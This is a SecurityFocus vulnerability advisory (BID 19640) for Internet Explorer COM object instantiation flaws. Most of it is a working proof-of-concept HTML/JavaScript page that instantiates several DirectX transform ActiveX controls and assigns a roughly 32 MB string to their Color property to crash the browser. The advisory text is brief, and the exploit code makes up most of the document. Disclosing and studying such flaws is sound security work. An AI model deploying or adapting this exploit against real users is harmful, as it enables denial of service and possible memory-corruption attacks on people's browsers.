source: http://www.securityfocus.com/bid/19640/info

Microsoft Internet Explorer is prone to multiple denial-of-service vulnerabilities that occur when instantiating COM objects. 

The vulnerabilities arise because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls, resulting in denial-of-service conditions. Remote code execution may be possible, but this has not been confirmed.

This BID may be related to the issues described in BID 14511 (Microsoft Internet Explorer COM Object Instantiation Buffer Overflow Vulnerability) and BID 15061 Microsoft Internet Explorer COM Object Instantiation Variant Vulnerability). However, these issues affect a different set of COM objects that were not addressed in the previous BIDs.


<!--

// Internet Explorer Multiple COM Object Color Property DoS Vulnerability
// tested on Windows 2000 SP4/XP SP2

// http://www.xsec.org
// nop (nop#xsec.org)

-->
<html>
<head>
<title></title>
</head>
</body>
<script>
var i =0;
var Objects = new Array(

// CLSID: {3A04D93B-1EDD-4f3f-A375-A03EC19572C4}
// Info: MaskFilter
// ProgID: DXImageTransform.Microsoft.MaskFilter.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.MaskFilter.1",

// CLSID: {421516C1-3CF8-11D2-952A-00C04FA34F05}
// Info: Chroma
// ProgID: DXImageTransform.Microsoft.Chroma.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Chroma.1",

// CLSID: {9F8E6421-3D9B-11D2-952A-00C04FA34F05}
// Info: Glow
// ProgID: DXImageTransform.Microsoft.Glow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Glow.1",

// CLSID: {ADC6CB86-424C-11D2-952A-00C04FA34F05}
// Info: DropShadow
// ProgID: DXImageTransform.Microsoft.DropShadow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.DropShadow.1",

// CLSID: {E71B4063-3E59-11D2-952A-00C04FA34F05}
// Info: Shadow
// ProgID: DXImageTransform.Microsoft.Shadow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Shadow.1",

// CLSID: {8241F015-84D3-11d2-97E6-0000F803FF7A}
// Info: Shapes
// ProgID: DX3DTransform.Microsoft.Shapes.1
// InprocServer32: C:\WINNT\system32\dxtmsft3.dll
"DX3DTransform.Microsoft.Shapes.1",

null
);

var b = "AAAA";

while(b.length < 0x2000000)
{
b += b;
}

while(Objects[i])
{
var a = null;

window.status = "Create Object " + Objects[i] + "...";

try { a = new ActiveXObject(Objects[i]); } catch(e){}

if(a)
{
window.status = "Try Set " + Objects[i] + ".Color ...";
try { a.Color = b;} catch(e){}
}

i++;
}

window.status = "failed!";

</script>
</body>
</html>